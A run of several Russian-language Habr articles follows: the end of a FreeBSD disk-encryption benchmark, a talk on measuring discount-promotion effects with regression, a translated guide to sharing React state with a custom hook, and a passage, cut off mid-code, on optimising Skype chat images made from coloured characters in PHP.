> Select [1]:
>
> Filesystem:
> 1) FAT
> 2) None
> Select [1]:
>
> Enter password:
> WARNING: Short passwords are easy to crack using brute force techniques!
> We recommend choosing a password consisting of more than 20 characters. Are you sure you want to use a short password? (y=Yes/n=No) [No]: y
> Re-enter password:
> Done: 100,000% Speed: 31 MB/s Left: 0 s
> The TrueCrypt volume has been successfully created.
> 139,42 real 204,75 user 13,80 sys`
Созданный раздел без проблем смонтировался.
> `testcrypt# truecrypt -k /var/test/my.key --mount /var/test/truecrypt.dump /mnt
> Enter password for /var/test/truecrypt.dump:
> Protect hidden volume? (y=Yes/n=No) [No]:
>
> testcrypt# mount
> ...
> /dev/fuse0 on /var/tmp/.truecrypt\_aux\_mnt1 (fusefs, local, synchronous)
> /dev/md0 on /mnt (msdosfs, local)
>
> testcrypt# mdconfig -l -v
> md0 vnode 4.0G /var/tmp/.truecrypt\_aux\_mnt1/volume
> testcrypt# ll /var/tmp/.truecrypt\_aux\_mnt1/
> total 0
> -rw------- 1 root wheel 1522 21 апр 15:51 control
> -rw------- 1 root wheel 4294705152 21 апр 15:51 volume`
Но нас постигло жестокое разочарование. Вопреки ожидаемому использованию fusefs, TrueCrypt стал использовать трансляцию своего endpoint файла через **md**. Таким образом мы получили еще один лишний стык в преобразовании криптоконтейнера. Разочарование стало еще большим когда при попытке записи данных на примонтированный TrueCrypt Volume мы получили deadlock после того как исчерпались буфера записи для vfs. Танцы с бубном вокруг TrueCrypt, настроек vfs и многого другого ни к чему не привели и мы забросили идею нормального тестирования TrueCrypt. К сожалению текущая сборка TrueCrypt может создавать только две файловые системы независимо от OS, FAT и NTFS, это жестко запрограммировано в исходных кодах. Создание файловой системы на отмонтированном Volume вполне решает проблему использования msdosfs, но не решает проблему deadlock.
Так как тестируемые криптоконтейнеры у нас закончились, мы попытались реализовать какуюнибудь схему резервного копирования этих контейнеров. В общем тут нас ожидало не менее грустное обстоятельство, чем проблемы с TrueCrypt. Мы попытались сделать snapshot на файловой системе на которой находится подмонтированный криптоконтейнер и выцепив оттуда файл контейнера посмотреть на его содержимое. Но тут же поймали проблему. При активных файловых операциях с криптоконтейнером попытка сделать snapshot приводит к deadlock. Система вроде бы живая, но в тоже время обратиться к примонтированному контейнеру нельзя, а впоследствии умирает доступ ко всем системным разделам :(
При отсутствии операций с криптоконтейнером snapshot происходит нормально, но вероятность последующего deadlock тоже не исключена. Причем с **md** устройствами проблема проявляется раньше чем с **ggate**. После deadlock и последующей принудительной dirty(reboot -qn) перезагрузки, криптоконтейнер необходимо сначала проверить через fsck, иначе он не примонтируется. Выдернутый же криптоконтейнер из snapshot на поверку оказывается битым, с отсутствующей файловой системой и без наших данных. Что очень и очень грустно. Ну да ладно, нельзя использовать online бекап, значит 100% можно использовать offline бекап. На этом с криптоконтейнерами и остановимся.
Вторая часть тестирования связана с использованием fusefs.
Для тестирования были выбраны cryptofs и encfs. Разница между системами небольшая и основное отличие заключается в том, что encfs поддерживает параноидальный режим безопасности проверяющий целостность файлов.
> `testcrypt# cryptofs -r /var/crypto/
> Enter password:
> testcrypt# mount\_fusefs /dev/fuse0 /mnt
> testcrypt# df -h | grep mnt
> Filesystem Size Used Avail Capacity Mounted on
> /dev/fuse0 18G 5.1G 12G 30% /mnt`
**cryptofs** создаёт шлюз который шифрует проходящие через него данные при помощи пароля заданного пользователем, используя обычную файловую систему на машине. Для работы системы требуется поместить в директорию, которая будет домашней, файл с настройками **.cryptofs**
> `# See README for details on each parameter
>
> [CryptoFS]
> cipher=AES256
> md=MD5
> blocksize=2048
> salts=256`
Настройки — это список алгоритмов шифрования, которые будут использоваться в работе. К сожалению месторасположение файла изменить нельзя :(
> `testcrypt# cp /etc/defaults/\* /mnt
> testcrypt# ls /mnt/
> bluetooth.device.conf devfs.rules pccard.conf periodic.conf rc.conf
> testcrypt# ls /var/crypto/
> .cryptofs JuSxlpX8BzEtClI= MuKkkZS2WycuAUc= IO2ylZK9GjApQUWQR697gAD3Valf MOLpk4m8Ew== MuS1mYm2HCdvDE6bVw==`
Система очень легка в использовании, но имеет один недостаток. Если Вы случайно ошиблись буквой или цифрой при вводе пароля — система зашифрует данные именно тем паролем который Вы набрали. Велика вероятность того, что Вы заметите это не сразу, а пользователи уже нальют файлов которые будут зашифрованы новым паролем. Файловая система после ввода неверного пароля выглядит примерно вот так.
> `testcrypt# cryptofs -r /var/crypto
> Enter password:
> testcrypt# mount\_fusefs /dev/fuse0 /mnt
> testcrypt# ls /mnt/
> i+???F9&??tg? i-???F~&T?} k-???L6 {"???M?1SA?l?????y??? }+????"0W?h`
**encfs** данной проблемы лишён, но имеет уже намного более широкие настройки по шифрованию, а также в конфигурационном файле создаёт уникальный ключ. При помощи этого ключа **encfs** определяет корректность ввода пароля, правильность шифрования файлов, а также определяет какие файлы показывать или не показывать(имеется ввиду — шифрованные именно этим ключом). Если Вы забыли пароль, то можете смело удалять все данные, восстановлению они не подлежат. Процесс работы выглядит следующим образом.
> `testcrypt# encfs /var/crypto /mnt
> Creating new encrypted volume.
> Please choose from one of the following options:
> enter "x" for expert configuration mode,
> enter "p" for pre-configured paranoia mode,
> anything else, or an empty line will select standard mode.
> ?>
>
> Standard configuration selected.
>
> Configuration finished. The filesystem to be created has
> the following properties:
> Filesystem cipher: "ssl/aes", version 2:1:1
> Filename encoding: "nameio/block", version 3:0:1
> Key Size: 192 bits
> Block Size: 1024 bytes
> Each file contains 8 byte header with unique IV data.
> Filenames encoded using IV chaining mode.
>
> Now you will need to enter a password for your filesystem.
> You will need to remember this password, as there is absolutely
> no recovery mechanism. However, the password can be changed
> later using encfsctl.
>
> New Encfs Password:
> Verify Encfs Password:
> testcrypt# mount | grep mnt
> /dev/fuse0 on /mnt (fusefs, local, synchronous)
> testcrypt# cp /etc/defaults/\* /mnt
> testcrypt# ls /mnt
> bluetooth.device.conf devfs.rules pccard.conf periodic.conf rc.conf
>
> testcrypt# ls /var/crypto/
> .cryptofs Nq2IBppvuCpNNHuYS1k5dn-q wiNUtxqXvJqCLs3s-u1qwJrA
> .encfs6.xml gNsHASsB,5N2H1TZlWTJjldR
> B7rx58O9WjTGrjeTaiFXjREamAQzW7u3oK3NOK1KuN4Rp- sTZaWdYP4B-oXrW1d1COMMNV`
Бекапирование данных можно осуществлять методом обычного снятия снепшотов с раздела, а также прямым копированием файлов в требуемое место, главное сохранить ключи для возможности обратной расшифровки ;)
Выводы: Все исследуемые в данной статье методы шифрования данных на дисках имеют право на использование в повседневной жизни. В зависимости от используемых систем шифрования, Вы можете получить нужный Вам функционал за короткий промежуток времени. Из тестируемых мною систем я бы всё таки остановил свой выбор на **geli** и **encfs**. Первая система очень привлекательна с точки зрения использования аппаратных модулей шифрования, при использовании которых не будет затрачиваться процессорное время на шифрование данных, а также возможностью шифрования разделов целиком. Вторая система интересна режимами контроля целостности шифруемых файлов и возможностями изменения множества параметров. При всём уважении к **encfs** хочется отметить зависимость системы от нескольких внешних библиотек которые придётся таскать с собой. Опять же с **geli** могут возникнуть проблемы с резервным копированием массивов большого объёма. Ну вот в общем-то и всё. Спасибо за уделённое время на прочтение данного материала.
Сравнительная таблица тестов **bonnie** по всем системам.
| | | | |
| --- | --- | --- | --- |
| | Sequential Output | Sequential Input | Random |
| | Per Char | Block | Rewrite | Per Char | Block | Seeks |
| Machine | MB | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | /sec | %CPU |
| **geli+md** | 1024 | 17178 | 25.7 | 18324 | 8.4 | 5684 | 2.2 | 14492 | 15.1 | 15185 | 2.3 | 139.8 | 0.7 |
| **geli+ggate** | 1024 | 13855 | 20.6 | 12018 | 5.2 | 6388 | 2.7 | 19021 | 21.8 | 22473 | 4.2 | 136.5 | 0.7 |
| **gbde+md** | 1024 | 4436 | 5.3 | 4349 | 1.7 | 2695 | 1.2 | 12920 | 13.7 | 17078 | 2.9 | 130.1 | 0.7 |
| **gbde+ggate** | 1024 | 1971 | 2.2 | 1970 | 0.8 | 1480 | 0.6 | 13812 | 15.2 | 17206 | 3.0 | 120.3 | 0.6 |
| **fusefs+cryptofs** | 1024 | 17207 | 23.8 | 21015 | 10.7 | 6494 | 3.5 | 16202 | 17.1 | 16829 | 3.2 | 70.1 | 1.2 |
| **fusefs+encfs** | 1024 | 19073 | 25.3 | 23250 | 11.4 | 7676 | 3.9 | 16402 | 18.4 | 19187 | 3.5 | 70.3 | 1.2 |
UPD: Таблица сравнения скоростей чистой файловой системы и шифрованной. С включенными и выключенными softupdates.
| | | | |
| --- | --- | --- | --- |
| | Sequential Output | Sequential Input | Random |
| | Per Char | Block | Rewrite | Per Char | Block | Seeks |
| Machine | MB | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | /sec | %CPU |
| **fusefs+cryptofs** | 1024 | 17207 | 23.8 | 21015 | 10.7 | 6494 | 3.5 | 16202 | 17.1 | 16829 | 3.2 | 70.1 | 1.2 |
| **fusefs+encfs** | 1024 | 19073 | 25.3 | 23250 | 11.4 | 7676 | 3.9 | 16402 | 18.4 | 19187 | 3.5 | 70.3 | 1.2 |
| **cleanfs+su\_on** | 4096 | 33745 | 33.5 | 32517 | 12.8 | 10681 | 4.4 | 34911 | 35.9 | 39035 | 7.7 | 80.1 | 0.5 |
| **cleanfs+su\_off** | 4096 | 34918 | 33.4 | 35108 | 12.9 | 11188 | 4.5 | 37268 | 38.3 | 39513 | 7.6 | 84.6 | 0.5 |
`(C) Aborche 2009
` | https://habr.com/ru/post/57884/ | null | ru | null |
# Управление ценовыми скидками: модели для количественного измерения эффекта на примере АЗС
Мы продолжаем публиковать доклады, прозвучавшие на [RAIF 2019](https://raif.jet.su/) (Russian Artificial Intelligence Forum). На этот раз своим опытом делится Вадим Аббакумов, кандидат физико-математических наук, главный эксперт-аналитик «Газпром нефть». Передаем ему слово:
На форуме по системам искусственного интеллекта RAIF 2019 (организатор – «Инфосистемы Джет») мои коллеги больше говорили о прогрессе в технологиях, а я выступил с докладом о прорыве в бизнес-процессах.
Для начала – об измерении эффекта промоакций. Мы продавали товар по одной цене, потом в течение месяца он шел со скидкой, а затем мы вернулись к старой цене. Теперь надо понять, осталась ли компания в плюсе, насколько увеличились продажи.
С одной стороны, авторы учебников утверждают, что в 60 % случаев проведение скидочных акций не приносит желаемого эффекта, такие действия убыточны. С другой стороны, объемы и частота промоакций растут. Например, продажи кофе по скидкам составляют 69 %.
Почему так происходит? На самом деле почти ни у одной компании нет данных о том, какая акция была выгодной, а какая убыточной. Нет данных и о величине потерь. Как результат – нет инструментов управления процессом.
Мы давно знаем, как измерять эффективность промоакций, но для огромного количества компаний это все еще остается проблемой – ко мне постоянно обращаются за консультациями: как это грамотно сделать? Поэтому я решил об этом рассказать.
Для примера возьмем нашу компанию. Вы спросите: при чем тут «Газпром-нефть»? Они бурят скважины, добывают нефть. Это правда, но далеко не вся. «Газпром-нефть» является одним из лидеров в продаже… кофе. У каждой автозаправки (а это 800 точек) свой магазин, и в каждом мы устраиваем акции, пытаясь стимулировать покупки.
Сначала обсудим популярные, но неоптимальные методы.
**Вариант 1.** Так измеряют эффект промо-акций 80% компаний. Если скидки были в феврале, то сравниваем с февральскими продажами предыдущего года. Разница – и есть результат промоакции. Если произошла накладка (например, в прошлом феврале тоже была какая-то акция и сравнить по этой схеме невозможно), то мы берем среднее арифметическое по продажам в январе и марте! Это вариант прекрасно просчитывается в Excel, но на самом деле не является оптимальным. Дело в том, что при этом игнорируются или изменение тренда, или же изменение сезонных составляющих.
**Вариант 2.** А/В-тест – проведение акции только в части магазинов сети для того, чтобы сравнить показатели продаж в них и в магазинах, где промоакции не было. Это мощный, классный инструмент, но не совсем простой. Наши специалисты утверждают, что серьёзно осложняется логистика (трудно организовать акцию на одной заправке и не провести ее на другой), к том уже это делает тестирование дорогим. Во-вторых, юристы компании предупреждают о возможных проблемах, если промо-акция проводится на части заправок. Таким образом А/В тест теоретически возможен и хорош, но на практике его слишком сложно применить, слишком много организационных проблем.
**Вариант 3(худший).** Взять временной ряд продаж и сравнить значения в феврале предыдущего и текущего года, применив t-критерий Стьюдента. Кажется, что это и будет тот самый А/В-тест, однако полузнание хуже незнания: наблюдения временного ряда зависят друг от друга, в результате t-критерий применять нельзя.
**Вариант 4 (оптимальный):** Рассмотрим максимально простую схему, в которой мы имеем два ряда продаж. Красным цветом обозначены продажи без акции, синим – модифицированный ряд, в котором с 4 по 6 наблюдение были скидки и, соответственно, увеличение продаж. Нам нужно измерить, насколько синяя линяя выше красной.
Построим пару обыкновенных линейных регрессионных моделей.
Для красной линии модель очевидна:
Для синей линии добавляем предиктор `xt`:
Как и для красной линии, тренд мы опишем прямой. Переменная `xt` равна единице в дни промоакций и нулю в дни их отсутствия (если сохраняются продажи за каждый день). Переменная `xt` умножается на переменную `с`, которая и является показателем увеличения продаж. Если результат отрицательный, то значит продажи упали, а уменьшились они именно на `с` единиц. Так выглядит базовая схема.
Переменные вида `xt` называют индикаторами или dummy variables. Подобные переменные используются в разных ситуациях, например, в one-hot-encoding. В нашем случае `xt` является интервенцией, то есть событием, которое временно или навсегда меняет характер ряда.
Несмотря на то, что базовая схема очевидна, на этапе уточнения модели начинаются проблемы.
**Тренд.** Тренд чаще всего нелинейный, поэтому надо позаботиться, чтобы он не включал в себя подъемы и спуски, связанные с акциями. И наоборот, надо позаботиться, чтобы эффект промо-акции не включал в себя подъемы и спуски, которые должны описываться трендом. Для решения этой проблемы хорошо себя проявила процедура Prophet (она же fbprophet). В ней тренд описывается кусочно-линейной функцией, отрезки гибко описывают локальный тренд.
**Сезонность.** У ряда может быть одна или несколько сезонных составляющих. Например, на АЗС три сезонности: внутрисуточная (ночью на автозаправке народу меньше, чем днем), внутринедельная (в пятницу на заправке больше клиентов, чем во вторник) и годовая (летом машин больше, чем зимой). При этом сезонность бывает мультипликативная или аддитивная. В продажах сезонность обычно мультипликативная.
**Дополнительные предикторы.** Модель неизбежно будет включать много дополнительных предикторов. Приведу два примера. Если температура воздуха ниже 24 оС, то у нас продажи бензина просядут, то какую скидку ни предлагай, бензин не нужен, потому что у многих просто не завелись моторы. При -24 оС люди чаще всего пользуются общественным транспортом, а не едут на своей машине. Поэтому в модель должен быть встроен множитель, который уменьшит продажи при низкой температуре.
Второй пример. Возможно, это чисто питерский феномен, но если на улице даже -30 оС, то люди покупают даже мороженое, а вот если пошел дождь – то покупатели пропадают. С начала до конца дождя продажи просто останавливаются, но почему так происходит – совершенно непонятно. Да и не важно, надо только в модель встроить множитель, который уменьшит продажи в те часы, когда идет дождь.
Добавлять дополнительные внешние переменные мы должны правильно и аккуратно, пользуясь здравым смыслом и пониманием бизнес-процессов. В анализе данных это называют feature engineering.
Модель уже имеет следующий вид:
где `xt` такой же, как раньше, а `zt` – вектор дополнительных предикторов. Дальнейшие улучшения включают в себя отказ от обыкновенных линейных регрессионных моделей.
Как еще можно улучшить описание промоакции? Для той версии переменной `xt`, которая обсуждалась выше, имеем следующий график изменения во времени:
Если компания подняла цену не временно, а «навсегда», это будет интервенцией, влияние которой сохраняется. График будет иметь следующий вид:
Здесь продажи поднялись (а чаще – упали), и все это длится до бесконечности.
Я рекомендую следующий гибкий вариант описания интервенции:
Не слишком сложный, но и не слишком простой. Сначала идет подъем, потом эффект от акции потихонечку затухает. В этом случае начало и конец «акции» приходится подбирать вручную. Например, программисты Python обожают grid-search, с помощью которого можно определить начало и конец процесса.
Отвлечемся, чтобы обсудить пример интервенции, которая не является промо-акцией. Коллега работал в «Ленте», где перед одним из магазинов начали строить развязку. Добираться до этого супермаркета стало очень неудобно, как следствие – поток клиентов упал. Эффект этой интервенции можно измерить так, как описано выше. Необходимо оценить, сколько клиентов за все время строительства потерял магазин. Плюс к этому, когда развязку достроили, покупателям нужно было снова привыкнуть к мысли, что в этот супермаркет удобно добираться. Таким образом эффект от строительства потихонечку спал, но сохранялся в течение некоторого времени, и надо было это учитывать.
Теперь перейдем к реальному примеру оценки эффекта акции. Предположим, мы продаем прохладительные напитки. На графике ниже желтым цветом обозначен размер скидки, а синим – объем продаж.
Несколько наблюдений.
В сентябре 2018 года скидка привела к увеличению продаж. Все логично – модель позволяет оценить такой рост.
В ноябре 2017-го была максимальная скидка, но она оставила продажи на прежнем низком уровне. Что остановило рост? Предполагаем влияние неучтенного фактора и аккуратно подбираем дополнительные характеристики.
В июне 2017 года небольшая скидка резко увеличила продажи. Может дело вовсе не в скидке, а летней жаре?
В декабре 2019-го производитель устроил мастер-класс. Они приехали на заправки и выложили напитки у входа, разукрасили их. В итоге просто за счет выкладки товара продажи выросли в четыре раза. Похоже, всем есть чему поучиться у тех, у кого бизнес-процесс отработан.
Выводы:
-------
Иногда всё идет так, как оно должно идти, иногда наоборот.
Если модель работает, все хорошо.
Но даже плохая модель лучше, чем отсутствие модели. В прогнозировании то же самое. Плохая модель как минимум заставляет нас подумать об эффективности наших маркетинговых действий.
*Автор: Вадим Аббакумов, кандидат физико-математических наук, главный эксперт-аналитик «Газпром нефть».* | https://habr.com/ru/post/490992/ | null | ru | null |
# Управление стейтом с помощью React Hooks – без Redux и Context API
Всем привет! Меня зовут Артур, я работаю ВКонтакте в команде мобильного веба, занимаюсь проектом [VKUI](https://github.com/VKCOM/VKUI) — библиотекой React-компонентов, с помощью которой написаны некоторые наши интерфейсы в мобильных приложениях. Вопрос работы с глобальным стейтом у нас пока открыт. Существует несколько известных подходов: Redux, MobX, Context API. Недавно я наткнулся на статью André Gardi [State Management with React Hooks — No Redux or Context API](https://medium.com/javascript-in-plain-english/state-management-with-react-hooks-no-redux-or-context-api-8b3035ceecf8), в которой автор предлагает использовать React Hooks для управления стейтом приложения.
Хуки стремительно врываются в жизнь разработчиков, предлагая новые способы решения или переосмысления разных задач и подходов. Они меняют наше представление не только о том, как описывать компоненты, но и о том, как работать с данными. Перевод статьи и комментарий переводчика читайте под катом.
React Hooks мощнее, чем вы думаете
----------------------------------
Сегодня мы изучим React Hooks и разработаем кастомный хук для управления глобальным стейтом приложения, который будет проще Redux-реализации и производительнее Context API.
### Основы React Hooks
Можете пропустить эту часть, если уже знакомы с хуками.
#### useState()
До появления хуков у функциональных компонентов не было возможности задавать локальный стейт. Ситуация изменилась с появлением `useState()`.
Данный вызов возвращает массив. Первым его элементом является переменная, предоставляющая доступ к значению стейта. Второй элемент — это функция, которая обновляет стейт и перерисовывает компонент для отражения изменений.
```
import React, { useState } from 'react';
function Example() {
const [state, setState] = useState({counter:0});
const add1ToCounter = () => {
const newCounterValue = state.counter + 1;
setState({ counter: newCounterValue});
}
return (
You clicked {state.counter} times
Click me
);
}
```
#### useEffect()
Классовые компоненты реагируют на сайд-эффекты, используя lifecycle-методы, такие как `componentDidMount()`. Хук `useEffect()` позволяет делать то же самое в функциональных компонентах.
По умолчанию эффекты запускаются после каждой перерисовки. Но вы можете сделать так, чтобы они выполнялись только после изменения значений конкретных переменных, передавая их вторым опциональным параметром в виде массива.
```
// Вызов без второго параметра
useEffect(() => {
console.log('Я буду запускаться после каждого рендера');
});
// Со вторым параметром
useEffect(() => {
console.log('Я вызовусь только при изменении valueA');
}, [valueA]);
```
Чтобы достичь результата, аналогичного `componentDidMount()`, мы передадим пустой массив вторым параметром. Так как содержимое пустого массива всегда остаётся неизменным, эффект выполнится лишь один раз.
```
// Вызов с пустым массивом
useEffect(() => {
console.log('Я запущусь только первый раз');
}, []);
```
### Шаринг состояния
Мы увидели, что стейт хуков работает так же, как стейт классового компонента. Каждый экземпляр компонента имеет собственное внутреннее состояние.
Для шаринга стейта между компонентами мы создадим собственный хук.
Идея состоит в том, чтобы создать массив слушателей и только один стейт. Каждый раз, когда компонент меняет стейт, все подписавшиеся компоненты вызывают свой `getState()` и за счёт этого обновляются.
Мы можем добиться этого, вызывая `useState()` внутри нашего кастомного хука. Но вместо того чтобы возвращать функцию `setState()`, мы добавим её в массив слушателей и вернём функцию, которая внутри себя обновляет объект стейта и вызывает всех слушателей.
#### Погодите. Как это упростит мне жизнь?
Да, вы правы. Я создал [NPM-пакет](https://www.npmjs.com/package/use-global-hook), инкапсулирующий всю описанную логику.
Вам не придётся реализовывать её в каждом проекте. Если вы больше не хотите тратить время на чтение и желаете посмотреть на финальный результат, просто добавьте этот пакет в ваше приложение.
```
npm install -s use-global-hook
```
Чтобы понять, как работать с пакетом, изучите примеры в документации. А сейчас предлагаю сфокусироваться на том, как пакет устроен внутри.
### Первая версия
```
import { useState, useEffect } from 'react';
let listeners = [];
let state = { counter: 0 };
const setState = (newState) => {
state = { ...state, ...newState };
listeners.forEach((listener) => {
listener(state);
});
};
const useCustom = () => {
const newListener = useState()[1];
useEffect(() => {
listeners.push(newListener);
}, []);
return [state, setState];
};
export default useCustom;
```
#### Использование в компоненте
```
import React from 'react';
import useCustom from './customHook';
const Counter = () => {
const [globalState, setGlobalState] = useCustom();
const add1Global = () => {
const newCounterValue = globalState.counter + 1;
setGlobalState({ counter: newCounterValue });
};
return (
counter:
{globalState.counter}
+1 to global
);
};
export default Counter;
```
Эта версия уже обеспечивает шаринг стейта. Вы можете добавить произвольное количество счётчиков в ваше приложение, и они все будут иметь общий глобальный стейт.
### Но мы можем лучше
Чего хочется:
* удалять слушателя из массива при размонтировании компонента;
* сделать хук более абстрактным, чтобы использовать его в других проектах;
* управлять `initialState` с помощью параметров;
* переписать хук в более функциональном стиле.
#### Вызов функции прямо перед размонтированием компонента
Мы уже выяснили, что вызов `useEffect(function, [])` с пустым массивом работает так же, как `componentDidMount()`. Но если функция, переданная в первом параметре, возвращает другую функцию, то вторая функция будет вызвана прямо перед размонтированием компонента. В точности как `componentWillUnmount()`.
Значит, в коде второй функции можно написать логику удаления компонента из массива слушателей.
```
const useCustom = () => {
const newListener = useState()[1];
useEffect(() => {
// Вызывается сразу после монтирования
listeners.push(newListener);
return () => {
// Вызывается прямо перед размонтированием
listeners = listeners.filter(listener => listener !== newListener);
};
}, []);
return [state, setState];
};
```
### Вторая версия
Помимо этого обновления мы также планируем:
* передавать React параметром и избавиться от импорта;
* экспортировать не customHook, а функцию, возвращающую customHook с заданным `initalState`;
* создать объект `store`, который будет содержать значение `state` и функцию `setState()`;
* заменить arrow-функции обычными в `setState()` и `useCustom()`, чтобы можно было связать `store` с `this`.
```
function setState(newState) {
this.state = { ...this.state, ...newState };
this.listeners.forEach((listener) => {
listener(this.state);
});
}
function useCustom(React) {
const newListener = React.useState()[1];
React.useEffect(() => {
// Вызывается сразу после монтирования
this.listeners.push(newListener);
return () => {
// Вызывается прямо перед размонтированием
this.listeners = this.listeners.filter(listener => listener !== newListener);
};
}, []);
return [this.state, this.setState];
}
const useGlobalHook = (React, initialState) => {
const store = { state: initialState, listeners: [] };
store.setState = setState.bind(store);
return useCustom.bind(store, React);
};
export default useGlobalHook;
```
### Отделяем экшены от компонентов
Если вы когда-нибудь работали со сложными библиотеками для управления стейтом, то вы знаете, что манипулировать глобальным стейтом из компонентов – не лучшая идея.
Правильнее будет отделить бизнес логику, создав экшены для изменения стейта. Поэтому я хочу, чтобы последняя версия пакета предоставляла компонентам доступ не к `setState()`, а к набору экшенов.
Для этого снабдим наш `useGlobalHook(React, initialState, actions)` третьим аргументом. Сразу хочется добавить пару замечаний.
* Экшены будут иметь доступ к `store`. Таким образом, экшены смогут читать содержимое `store.state`, обновлять стейт вызовом `store.setState()` и даже вызывать другие экшены, обращаясь к `store.actions`.
* Во избежание каши, объект экшенов может содержать подобъекты. Таким образом, вы можете перенести `actions.addToCounter(amount`) в подобъект со всеми экшенами счетчика: `actions.counter.add(amount)`.
### Финальная версия
Следующий сниппет является актуальной версией NPM пакета `use-global-hook`.
```
function setState(newState) {
this.state = { ...this.state, ...newState };
this.listeners.forEach((listener) => {
listener(this.state);
});
}
function useCustom(React) {
const newListener = React.useState()[1];
React.useEffect(() => {
this.listeners.push(newListener);
return () => {
this.listeners = this.listeners.filter(listener => listener !== newListener);
};
}, []);
return [this.state, this.actions];
}
function associateActions(store, actions) {
const associatedActions = {};
Object.keys(actions).forEach((key) => {
if (typeof actions[key] === 'function') {
associatedActions[key] = actions[key].bind(null, store);
}
if (typeof actions[key] === 'object') {
associatedActions[key] = associateActions(store, actions[key]);
}
});
return associatedActions;
}
const useGlobalHook = (React, initialState, actions) => {
const store = { state: initialState, listeners: [] };
store.setState = setState.bind(store);
store.actions = associateActions(store, actions);
return useCustom.bind(store, React);
};
export default useGlobalHook;
```
### Примеры использования
Вам больше не придётся иметь дело с `useGlobalHook.js`. Теперь вы можете сфокусироваться на вашем приложении. Ниже представлены два примера использования пакета.
#### Несколько счётчиков, одно значение
Добавьте столько счётчиков, сколько хотите: у них у всех будет глобальное значение. Каждый раз, когда один из счётчиков будет делать инкремент глобального стейта, все остальные будут перерисовываться. При этом родительскому компоненту перерисовка не понадобится.
[Живой пример](https://codesandbox.io/s/wqvykj5497?fontsize=14).
#### Асинхронные ajax-запросы
Поиск GitHub-репозиториев по имени пользователя. Обрабатываем ajax-запросы асинхронно с помощью async/await. Обновляем счетчик запросов при каждом новом поиске.
[Живой пример](https://codesandbox.io/s/wqvykj5497?fontsize=14).
### Ну вот и всё
Теперь у нас есть собственная библиотека по управлению стейтом на React Hooks.
### Комментарий переводчика
Большинство существующих решений — по сути, отдельные библиотеки. В этом смысле подход, описанный автором, интересен тем, что в нём используются только встроенные возможности React. Кроме того, по сравнению с тем же Context API, который тоже идёт из коробки, данный подход уменьшает количество ненужных перерисовок и потому выигрывает в производительности. | https://habr.com/ru/post/454348/ | null | ru | null |
# Улучшаем картинки в чате Skype (обновлено)
#### Предисловие
17 января мне, как и многим другим, прислали ссылку на статью [zhovner](http://habrahabr.ru/users/zhovner/) про картинки в чате скайпа — <http://habrahabr.ru/blogs/skype/136395/>, и понеслось!
Идея прикольная, мы тут же начали перекидываться картинками, сгенерированными сервисом [img4skype.com](http://img4skype.com), но оказалось что у многих они отображаются растянуто.
Просмотрев фрагмент кода zhovner мы быстро обнаружили что это легко можно исправить, убрав один пробельный символ.
Нужно всего лишь исправить такой код:
```
$out .= '███';
```
на вот такой:
```
$out .= '██';
```
Поэтому и была быстро сделана локальная версия сервиса, позволяющая выбирать количество пробельных символов на пиксель — 2 или 3.
\* *Однако два пробельных символа вместо трех все же меняют размер картинки (вместо 1:1 получается 4:3), поэтому позже мы добавили сжатие оригинальной картинки (1:1 => 3:4, после искажения 4:3 опять получаем 1:1) если выбрано 2 пробела на пиксель.*
#### Оптимизация
##### 1. Объединение похожих цветов
Идея, лежащая на поверхности и озвученная самим zhovner — это объединение похожих цветов.
Если подряд идут два пикселя красного цвета то генерируется такой код:
```
██████
```
Вполне очевидно что это можно упростить:
```
██████
```
Так мы сэкономим место в сообщении, занимаемое кодом , что освободит нам 29 символов, а это 9 или 14 пикселей (в зависимости от количества пробелов на пиксель).
Это очень важно, потому что размер картинки ограничен максимальной длиной сообщения в Skype.
Эта оптимизация уже реализована несколькими хабраюзерами, поэтому не вижу смысла еще раз приводить ее код целиком.
Опишу подробнее только сравнение цветов.
Экспериментальным путем мы пришли к следующей функции:
```
// compare colors
function compare_clr( $c1, $c2, $max_dif, $img_px_qs )
{
$r1 = ( $c1 >> 16 ) & 0xFF;
$g1 = ( $c1 >> 8 ) & 0xFF;
$b1 = $c1 & 0xFF;
$r2 = ( $c2 >> 16 ) & 0xFF;
$g2 = ( $c2 >> 8 ) & 0xFF;
$b2 = $c2 & 0xFF;
$r_dif = abs( $r1 - $r2 );
$g_dif = abs( $g1 - $g2 );
$b_dif = abs( $b1 - $b2 );
$k = 1;
if( $img_px_qs == 1 ) // max quality
{
$def_k = 0.65;
// check difference in color channels
$dr = ( $r_dif > 0 ) ? $def_k : 0;
$dg = ( $g_dif > 0 ) ? $def_k : 0;
$db = ( $b_dif > 0 ) ? $def_k : 0;
$k = $dr + $dg + $db;
if( $k < 1 )
{
$k = 1;
}
}
else // max size
{
$k = 1;
}
$rv = true;
if( ( $r_dif*$k > $max_dif ) || ( $g_dif*$k > $max_dif ) || ( $b_dif*$k > $max_dif ) )
{
$rv = false;
}
return $rv;
}
```
Первые два параметра — цвета, 3-й параметр — порог сравнения, максимальная разница между каналами цвета (0-255), 4-й параметр — максимальное качество или максимальный размер.
Если сравнивать между собой цвета целиком, не делая разницы между каналами (r, g, b), то качество картинки оставляет желать лучшего. Картинка очень быстро «мажется».
Поэтому мы сравниваем отдельные каналы. Если разница цветов хотя бы по одному каналу превышает порог — цвета считаются разными.
Формула с коэффициентами дает лучшее качество и лучше всего убирает смазывание. Она лучше подходит для сложных многоцветных картинок (фото).
Простое сравнение дает больший размер, но на сложных картинках смазывание появляется даже на маленьких порогах сравнения. Зато эта формула позволяет генерировать бОльшие картинки для простых смайлов и черно-белых троллфейсов.
##### 2. Основной цвет
Еще одна важная оптимизация, так же лежащая на поверхности, это фоновый цвет.
[Цитата:](http://habrahabr.ru/blogs/skype/136395/#comment_4538472)
> «Еще можно не окрашивать черный пиксель, потому что он и так черный.»
Черный пиксель на самом деле не черный, а дефолтный. Его цвет задается первым тегом в коде, который у img4skype не имеет цвета и потому дефолтный (почти черный):
```
...
```
Если добавить первому тегу font цвет то он будет дефолтным цветом для всей картинки:
```
...
```
И тогда для каждого красного пикселя или их последовательности нет нужды вставлять тег , просто закрываем от предыдущего цвета и пишем пробельные символы без тегов.
Если картинка — это лого/смайлик/рисунок на однородном фоне, то эта оптимизация дает очень большое увеличение размера.
Итак, перед генерацией кода картинки надо предварительно пройти по всем пикселям и найти наиболее часто встречающийся цвет:
```
imagecopyresampled( $newimg, $img, 0, 0, 0, 0, $neww, $newh, $imgw, $imgh );
// find most popular color
$c_arr = array();
for( $j = 0; $j < $newh; $j++ )
{
for( $i = 0; $i < $neww; $i++ )
{
